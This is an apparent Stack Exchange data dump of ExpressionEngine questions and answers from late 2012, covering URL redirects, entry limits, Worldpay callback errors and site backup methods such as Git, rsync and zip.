  <row Id="789" PostTypeId="1" AcceptedAnswerId="807" CreationDate="2012-11-29T16:32:28.907" Score="3" ViewCount="59" Body="&lt;p&gt;Is anyone aware of an #eecms extension which adds a list of 'child entries' to a parents edit screen in the control panel? I'm sure I've seen an extension that does this in the past but I can't locate it. :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I should add, this is for EE1.x but I would happily reverse migrate a EE2.x extension (if possible).&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2012-11-29T18:42:56.373" Title="Showing native 'child' entries for an entry in the CP" Tags="|entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="790" PostTypeId="1" CreationDate="2012-11-29T16:46:19.340" Score="5" ViewCount="200" Body="&lt;p&gt;Got a very weird issue with an old EE (1.7) site, not one i've seen before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a server migration, we started getting a number of odd URLs being reported in Webmaster tools, all throwing errors (301 mainly)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URLs were structured differently, but nearly all contained a web or email custom field in there somewhere - something like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;category/post-type/www.url.com/P0/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've absolutely no idea how these URLs are being generated or how they are being formed. Anyone got any ideas where I could start to look? Completely at a loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;Matt&lt;/p&gt;&#xA;" OwnerUserId="473" LastEditorUserId="16" LastEditDate="2012-11-29T22:24:25.427" LastActivityDate="2012-11-30T02:39:46.287" Title="Strange URLs appeared in Webmaster tools" Tags="|ee1|url|google-webmaster-tools|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="791" PostTypeId="1" CreationDate="2012-11-29T16:52:41.590" Score="3" ViewCount="183" Body="&lt;p&gt;I there a way to restrict the number of entries by a user to one active entry at a time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd love to create some kind of freemium model for my classifieds site, which only allows for one active ad by any free user.&lt;/p&gt;&#xA;" OwnerUserId="321" LastActivityDate="2012-11-29T17:13:22.963" Title="Restrict number of entries per user" Tags="|channel-entries|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="792" PostTypeId="2" ParentId="790" CreationDate="2012-11-29T16:52:51.113" Score="9" Body="&lt;p&gt;I have seen this several times over the years. If you don't properly have your 404 pages some other website out there is generating these urls and they are coming back valid. Then when google indexes those sites the urls show up. Google doesn't know these are invalid URLs.  The best way to prevent this is to make sure you tighten your 404s. Make sure you have any wrong group and/or page go to a 404 page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a good article on it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://joviawebstudio.com/index_ee.php/blog/guide_to_404_pages_with_expressionengine/&quot;&gt;http://joviawebstudio.com/index_ee.php/blog/guide_to_404_pages_with_expressionengine/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Big thing is using Strict URLs and having require_entry=&quot;yes&quot; set in your channel entry tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brad &lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2012-11-29T16:52:51.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="793" PostTypeId="2" ParentId="718" CreationDate="2012-11-29T16:58:58.283" Score="1" Body="&lt;p&gt;I use &lt;a href=&quot;http://hellomountee.com&quot; rel=&quot;nofollow&quot;&gt;Mountee&lt;/a&gt; personally because I like being able to edit not only my templates but my global variables and snippets as well. I've also started researching using git for my projects and low and behold Mountee has a &lt;a href=&quot;http://hellomountee.com/support/git_and_mountee/&quot; rel=&quot;nofollow&quot;&gt;KB article about using Mountee with git&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2012-11-29T16:58:58.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="794" PostTypeId="2" ParentId="791" CreationDate="2012-11-29T17:00:16.197" Score="1" Body="&lt;p&gt;If you are having your members add entries by safecracker this shouldn't be too tough. You would just need to restrict them from publishing to safecracker by how many entries they have. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just test if you have a valid entry, if not show the form, if so then show a message saying they can only have one entry at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brad&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2012-11-29T17:00:16.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="795" PostTypeId="2" ParentId="791" CreationDate="2012-11-29T17:00:36.670" Score="4" Body="&lt;p&gt;Are you using a SAEF to let people post the classified ad?  If so you can use conditionals to check to see if that user has an entry already.  Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;classified_ads&quot; author_id=&quot;CURRENT_USER&quot; dynamic=&quot;no&quot;}&#xA;&#xA;{if no_results}&#xA;{embed=&quot;_forms/.saef_form&quot;}&#xA;{/if}&#xA;&#xA;{if count == 1}&#xA;You currently have an active classified ad. &#xA;{/if}    &#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also drill down further with conditionals and check for an entry over a specific time period, for example, within the last day:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{entry_date format='%Y%m%d'}&quot; !=  &quot;{current_time format='%Y%m%d'}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="111" LastEditorUserId="111" LastEditDate="2012-11-29T17:13:22.963" LastActivityDate="2012-11-29T17:13:22.963" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="796" PostTypeId="1" CreationDate="2012-11-29T17:02:11.427" Score="7" ViewCount="279" Body="&lt;p&gt;I'm migrating the content of a Wordpress blog to EE. The old blog has this URL structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/news/2012/08/08/2013-schedule/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I need to redirect to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/news/post/2013-schedule/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the moment I am using this .htaccess redirect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RedirectMatch 301 /news/([0-9]+)/([0-9]+)/([0-9]+)/(.*)$ /news/post/$4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it's resulting in this URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/news/post/2013-schedule/?/news/2012/08/08/2013-schedule/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is not the end of the world, because I get the right results, despite the extra URL segments, but I'd really rather they went away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FWIW, I'm using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;EllisLab-approved redirect method for removing index.php&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="453" LastEditorUserId="453" LastEditDate="2012-11-29T22:53:52.177" LastActivityDate="2012-12-05T00:54:36.537" Title="Redirecting from old Wordpress URLs — getting query strings" Tags="|ee2|htaccess|migration|" AnswerCount="3" CommentCount="8" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="797" PostTypeId="2" ParentId="788" CreationDate="2012-11-29T17:03:33.707" Score="2" Body="&lt;p&gt;You just need to add entry_id=&quot;not 45|46&quot; if 45 and 46 were your entry ids for those two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done this before with jQuery. You just need to bring those two entry ids over to your load. You could probably add them easily via the segments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brad&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2012-11-29T17:03:33.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="798" PostTypeId="2" ParentId="753" CreationDate="2012-11-29T17:15:41.490" Score="2" Body="&lt;p&gt;You could use &lt;a href=&quot;http://devot-ee.com/add-ons/title-master&quot; rel=&quot;nofollow&quot;&gt;Title Master&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/mx-title-control&quot; rel=&quot;nofollow&quot;&gt;MX Title Control&lt;/a&gt; to create a custom title field that could then be searched. This has a couple other benefits for the client UX by having them enter information only once in the publish form and can break apart things like management team names that can then be sorted by last name, etc. I've had some trouble with Structure and Title Master (who hasn't had SOME trouble with Structure?) but if you're not using Structure or your channel title isn't tied to your URL title directly then this should't be an issue. Haven't tried MX Title Control in a long time but the support forum does note some quirks with it as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; An update to Title Master makes my comment above moot. The two play nicely together again.&lt;/p&gt;&#xA;" OwnerUserId="237" LastEditorUserId="237" LastEditDate="2012-12-03T15:57:12.160" LastActivityDate="2012-12-03T15:57:12.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="799" PostTypeId="2" ParentId="786" CreationDate="2012-11-29T17:19:00.737" Score="3" Body="&lt;p&gt;Unfortuantely I don't know of any addons that will do this, however using the instructions field you could inject some javascript into the publish page. Something &lt;a href=&quot;http://charlie.griefer.com/blog/2009/08/14/jquery-accessing-checked-checkboxes/&quot; rel=&quot;nofollow&quot;&gt;like this&lt;/a&gt; would probably get you a good chunk of the way there.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-11-29T17:19:00.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="800" PostTypeId="1" CreationDate="2012-11-29T17:24:30.983" Score="3" ViewCount="2286" Body="&lt;p&gt;I launched a store yesterday after thorough (successful) testing, and once live purchases were made, the client received Callback Failure Alerts from Worldpay. The orders didn't make it through to the dashboard, and the client has had to contact the buyers to find out what they ordered. Understandably the clients are stressed about this. I'm using Store 1.6.1 and EE 2.5.2. I'm desperate for a solution asap. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The content of the email from Worldpay is this:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Our systems have detected that your callback has failed.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This callback failure means we were unable to pass information&#xA;  to your server about the following transaction:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Transaction ID: 2479208752&#xA;    Cart ID: 8&#xA;    Installation ID: 269411&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Error reported: Callback to &#xA;  &lt;a href=&quot;http://www.fabulousflowers.biz/index.php?ACT=37&amp;amp;H=5dfcb904f16e766dcd96781647d779f3&quot; rel=&quot;nofollow&quot;&gt;http://www.fabulousflowers.biz/index.php?ACT=37&amp;amp;H=5dfcb904f16e766dcd96781647d779f3&lt;/a&gt;: &#xA;  NOT OK, recevied HTTP status: 302&#xA;    Server Reference: mm2imsps4p:callbackFailureEmail-21277:MerchReq-752-82&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Also, if you usually return a response page for us to display to the &#xA;  Shopper&#xA;  within the time allowed (1 minute), this will not have been displayed.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;WorldPay will have displayed to the Shopper the response page file&#xA;  (resultY.html or resultC.html) held for your installation on the WorldPay&#xA;  server. This will be your own custom version, if you have supplied one, &#xA;  or,&#xA;  if not, the WorldPay default version.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then there are two attachments:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;response.txt:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTTP/1.1 302 Moved Temporarily&#xA;Date: Thu, 29 Nov 2012 16:09:02 GMT&#xA;Server: Apache&#xA;X-Powered-By: PHP/5.2.17&#xA;Set-Cookie: exp_last_visit=1038845343; expires=Fri, 29-Nov-2013 16:09:03 GMT; path=/&#xA;Set-Cookie: exp_last_activity=1354205343; expires=Fri, 29-Nov-2013 16:09:03 GMT; path=/&#xA;Set-Cookie: exp_flash=a%3A1%3A%7Bs%3A24%3A%22%3Anew%3Astore_payment_error%22%3Bs%3A38%3A%22Invalid+response+from+payment+gateway.%22%3B%7D2fb730b5f1ab336c121b6a75eb8b6a8f; expires=Fri, 30-Nov-2012 16:10:43 GMT; path=/&#xA;Location: &lt;a href=&quot;http://www.fabulousflowers.biz/index.php/store/checkout3&quot; rel=&quot;nofollow&quot;&gt;http://www.fabulousflowers.biz/index.php/store/checkout3&lt;/a&gt;&#xA;Content-Length: 0&#xA;Connection: close&#xA;Content-Type: text/html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;strong&gt;request.txt:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;POST /index.php?installation=269411&amp;amp;ACT=37&amp;amp;msgType=authResult&amp;amp;H=5dfcb904f16e766dcd96781647d779f3 HTTP/1.0&#xA;Content-Type: application/x-www-form-urlencoded; charset=UTF-8&#xA;Host: www.fabulousflowers.biz&#xA;Content-Length: 1062&#xA;User-Agent: WJHRO/1.0 (WorldPay Java HTTP Request Object)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;deleting personal details of buyer which appears here&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why I'm getting these errors and the orders aren't showing in the main dashboard?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="437" LastEditorUserId="150" LastEditDate="2012-12-03T04:09:36.870" LastActivityDate="2014-03-24T16:17:22.273" Title="Worldpay giving callback failure alerts from purchases made using Expresso Store" Tags="|expresso-store|ecommerce|payment-gateway|worldpay|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="801" PostTypeId="1" AcceptedAnswerId="805" CreationDate="2012-11-29T17:41:59.613" Score="10" ViewCount="3373" Body="&lt;p&gt;Every time I have to update a site, I need to download it so I can back it up and to place it in a dev environment. But a site with a lot of add-ons/themes/images/media can take &lt;em&gt;forever&lt;/em&gt; to download and subsequently re-upload when updates are complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the fastest way to handle this file transfer process? I've heard of &quot;persistent connections&quot; like with Git, but I don't know how to implement that on my computer, if that's even the best route to take.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, do you download the entire site before backup, or just the critical files like templates and config?&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2012-12-20T20:30:01.710" Title="What's the Fastest Way to Download/Upload a Site During Updating?" Tags="|updating|ftp|" AnswerCount="8" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="802" PostTypeId="2" ParentId="796" CreationDate="2012-11-29T17:49:17.660" Score="3" Body="&lt;p&gt;Few things I'd try first:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Have you tried adding the ? to the approved method after index.php?&lt;/li&gt;&#xA;&lt;li&gt;If that doesn't work, have you tried adding ? before /news/post/$4 to see if that changes anything?&lt;/li&gt;&#xA;&lt;li&gt;Check your $config['uri_protocol'] or add it to your config and change from AUTO to one of the other settings (check &lt;a href=&quot;http://devot-ee.com/ee-config-vars&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/ee-config-vars&lt;/a&gt; to see the different options)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any of that help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I think this is related to an issue I had which was outlined here, hence Option 3: &lt;a href=&quot;http://ellislab.com/forums/viewthread/202909/#957589&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/202909/#957589&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="66" LastEditorUserId="66" LastEditDate="2012-11-29T17:57:54.100" LastActivityDate="2012-11-29T17:57:54.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="803" PostTypeId="2" ParentId="801" CreationDate="2012-11-29T17:52:19.967" Score="8" Body="&lt;p&gt;Take a look at Backup Pro from Eric Lamb (mithra62). It can backup an entire file system, making your job quite easy. Otherwise using command-line in terminal (shell access) is pretty easy as well. But not as easy as Eric's module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/backup-pro&quot;&gt;http://devot-ee.com/add-ons/backup-pro&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4" LastActivityDate="2012-11-29T17:52:19.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="804" PostTypeId="2" ParentId="801" CreationDate="2012-11-29T17:53:44.790" Score="3" Body="&lt;p&gt;You can use Updater from DevDemon make the whole process automatic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devdemon.com/updater&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/updater&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brad&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2012-11-29T17:53:44.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="805" PostTypeId="2" ParentId="801" CreationDate="2012-11-29T17:55:26.633" Score="12" Body="&lt;p&gt;Having used Git to manage updates and deploys of a fairly major EE-based site since around June, I have to say that from my own experience, it is by far the best method I've found for handling this process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The need to &quot;download and back up&quot; is essentially removed, since git handles versioning and archiving for you, and it speeds the process up immensely for both getting the latest production version onto a local/dev machine and pushing your changes from local/dev out to production because it only transmits the files that actually changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A big part of what makes this all work is utilizing Focus Labs' multi-environment configuration setup, which takes a tiny bit of time to set up, but will save you a massive headache in the long run. The same goes for git; it looks intimidating but is actually pretty easy to learn and use, especially since you only need to know a few basic command line codes to operate it. If you're not comfortable with the command line, Git is a great excuse to start using it; it's what forced me to finally start using it and getting familiar with it a few years back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My vote/recommendation in this situation is definitely in favor of Git, provided your hosting provider supports it.&lt;/p&gt;&#xA;" OwnerUserId="378" LastActivityDate="2012-11-29T17:55:26.633" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="806" PostTypeId="2" ParentId="800" CreationDate="2012-11-29T17:57:25.663" Score="1" Body="&lt;p&gt;I cant speak for the Worldpay errors but you should be able to see orders even if they weren't successful. In the Control Panel click on Store then scroll down to Orders. The click on the dropdown for &quot;Filter by Order Status&quot; and set it to &quot;Incomplete&quot; which should refresh the Orders page and show you the customers orders.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2012-11-29T17:57:25.663" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="807" PostTypeId="2" ParentId="789" CreationDate="2012-11-29T18:42:56.373" Score="4" Body="&lt;p&gt;I think you want Introvert by @iain&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/introvert&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/introvert&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2012-11-29T18:42:56.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="808" PostTypeId="2" ParentId="801" CreationDate="2012-11-29T18:45:56.547" Score="2" Body="&lt;p&gt;I find that working through SSH makes uploading and downloading much easier because you can remotely zip the file, download it, re-upload, and unzip even the most bulky sites much faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for instance if you wanted to zip the html directory on a remote machine.&#xA;once you ssh into your site cd till you can see the whole site you would like to zip. once you are there the terminal ssh command would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; ls&#xA;bootstrap-master html&#xA;&amp;gt; zip -r html.zip html/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then download via what ever method you are comfortable, but instead of getting an entire site of files your just getting one zip.&lt;/p&gt;&#xA;" OwnerUserId="357" LastEditorUserId="357" LastEditDate="2012-12-20T20:30:01.710" LastActivityDate="2012-12-20T20:30:01.710" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="809" PostTypeId="2" ParentId="801" CreationDate="2012-11-29T18:50:53.453" Score="3" Body="&lt;p&gt;I haven't learned Git yet, so still do it the old fashioned way. I go into the hosting CP and create a zip file and then download that as well as export the database. Both CPanel and Plesk have the ability to create zip files on the server for you (I've done this with both)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also like @Webodans suggestion for backup-pro for which I &lt;a href=&quot;http://caffeinecreations.ca/blog/backup-pro-addon-review&quot; rel=&quot;nofollow&quot;&gt;wrote a review here&lt;/a&gt;. If you have backup pro installed you can manually run the backup in addition to scheduling it. Then just download your zip and database backup.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-11-29T18:50:53.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="810" PostTypeId="2" ParentId="778" CreationDate="2012-11-29T18:51:00.947" Score="5" Body="&lt;p&gt;Canada Post completely changed their &lt;a href=&quot;http://www.canadapost.ca/cpo/mc/business/productsservices/developers/services/ecomplatforms/default.jsf&quot;&gt;e-commerce platform API&lt;/a&gt; in June of this year. I know the CartThrob plugin was in development quite awhile before that, and at that, I don't think it was given much attention. So my bet is it was never updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I keep meaning to delve into building my own for the new API, as I am in Canada and work with many Canadian clients. But I &lt;em&gt;mean&lt;/em&gt; to do a lot of things, ha.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-11-29T18:51:00.947" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="811" PostTypeId="1" AcceptedAnswerId="847" CreationDate="2012-11-29T20:54:50.977" Score="4" ViewCount="289" Body="&lt;p&gt;I have been recommended to try either Freeway or Router to handle some non-standard URLs that I solved with .htaccess rewrites on EE 1 but where those no longer work on EE 2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In one case, I need to remove a non-default template group from URLs. In another case, I need to remove part of a Page URI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freeway, I am told, would handle both scenarios. Would Router? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also appears that Router uses a config file instead of storing its settings within EE. Is there any non-subjective reason to prefer one method over the other, in terms of efficiency, for example?&lt;/p&gt;&#xA;" OwnerUserId="352" LastEditorUserId="352" LastEditDate="2012-11-29T21:56:08.117" LastActivityDate="2012-11-30T16:08:55.573" Title="Freeway or Router?" Tags="|add-on|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="813" PostTypeId="2" ParentId="811" CreationDate="2012-11-29T21:01:59.803" Score="3" Body="&lt;p&gt;I'm a fan of Freeway (started using it when Freebie, from the same author, didn't cut it in a project). Router is rather expensive, but on the other hand Freeway is still in &quot;beta&quot;-ish phase...&lt;/p&gt;&#xA;" OwnerUserId="195" LastEditorUserId="195" LastEditDate="2012-11-29T21:37:50.187" LastActivityDate="2012-11-29T21:37:50.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="814" PostTypeId="2" ParentId="788" CreationDate="2012-11-29T21:02:53.593" Score="0" Body="&lt;p&gt;Would the offset param set to 2 work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#offset&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#offset&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2012-11-29T21:02:53.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="815" PostTypeId="1" AcceptedAnswerId="817" CreationDate="2012-11-29T21:45:16.027" Score="4" ViewCount="1019" Body="&lt;p&gt;I've seen this question in Google but the link ended up dead on the Ellislab page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a not too big site which resides all in one template group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to remove the template group from the url so instead of  &lt;code&gt;http://domain.com/site/contact&lt;/code&gt;&#xA;it should be &lt;code&gt;http://domain.com/contact&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already stripped the index.php via .htaccess&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I once removed the template folder by linking to subpages with: &lt;code&gt;{path='contact'}&lt;/code&gt; instead of &lt;code&gt;{path='site/contact'}&lt;/code&gt; but I'm not sure if this is a good practice and doesn't mess up the site in one way or another.&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2012-11-30T02:30:28.220" Title="Hide template_group segment in URL" Tags="|tags|segments|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="816" PostTypeId="2" ParentId="815" CreationDate="2012-11-29T21:51:20.907" Score="0" Body="&lt;p&gt;The default template group should not be showing in the first segment. Has this been set for the &lt;code&gt;site&lt;/code&gt; template group?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically on small sites I just hard code the main navigation.&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2012-11-29T21:57:57.153" LastActivityDate="2012-11-29T21:57:57.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="817" PostTypeId="2" ParentId="815" CreationDate="2012-11-29T21:57:54.500" Score="4" Body="&lt;p&gt;Few days ago there was a question about Strict URLs in EE, enabling Strict url you have option to link directly to template jumping over template_group &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/211/what-does-enable-strict-urls-really-mean&quot;&gt;What does &amp;quot;Enable Strict URLs&amp;quot; really mean?&lt;/a&gt; &#xA;does this solves your issue?&lt;/p&gt;&#xA;" OwnerUserId="281" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2012-11-29T21:57:54.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="818" PostTypeId="2" ParentId="788" CreationDate="2012-11-29T22:13:41.810" Score="2" Body="&lt;p&gt;I think these suggestion would work but (and correct me if I'm wrong) I think each subsequent click should returns 2 more entries not from any of the other prior results. So each click needs to return 2 more results that get added to the results from ALL previous requests. If that is the case then in Nate's offset solution you'd need to track how many times the link was clicked and adjust the offset up each time. 1st click offset = 2, second offset = 4, etc. A similar trick would be required for Parscale's solution. not 45|46 on the second request which may return ID 78 and 79. The next (3rd) request would need to set entry_id=&quot;not 45|46|78|79&quot; to avoid picking up 45 and 46 again. Or am I misunderstanding the question?&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2012-11-29T22:13:41.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="819" PostTypeId="2" ParentId="801" CreationDate="2012-11-29T22:20:38.560" Score="2" Body="&lt;p&gt;When I can't use git on the prod server (new client or client doesn't use git and edits files on the seerver) I use rsync to grab things. Makes life much easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be very careful with the --delete flag though. Use --exclude=&quot;path/or/file/or/*.ext&quot; to exclude things or put a list of excludes in a text file and use --exclude-from '/path/to/exclude.txt'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rsync -ravc --delete --verbose --progress --stats --compress --exclude=&quot;error_log&quot; --exclude=&quot;cache/*&quot; user@remote.server.tld:/path/to/docroot/ /local/path/to/your/dev/docroot/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="219" LastActivityDate="2012-11-29T22:20:38.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="820" PostTypeId="1" CreationDate="2012-11-29T22:36:50.757" Score="2" ViewCount="491" Body="&lt;p&gt;Good Afternoon,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're currently in a testing phase for a client who is looking to move to from xcart to a more developer friendly expressionengine / E-Commerce site with store preferably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have some best practices in mind?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, since the client is using FileMaker to sync stock levels on the site with their brick and motor locations POS, I was thinking that Datagrab would be a good solution, but realize that there would be issues with the &quot;modifiers&quot; and shipping weights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on the best solution as well as any third-party developers that could assist if needed with the scripting for Datagrab?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current client accounts and history are another bag... but really to get the initial test done I'll just need to get the initial test data to import correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this is detailed enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Troy&lt;/p&gt;&#xA;" OwnerUserId="478" LastEditorUserId="115" LastEditDate="2012-11-30T18:23:32.030" LastActivityDate="2012-11-30T18:23:32.030" Title="Exp:resso Store - Using Datagrab to Import Excell File + Import Modifiers" Tags="|expresso-store|ecommerce|expresso|datagrab|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
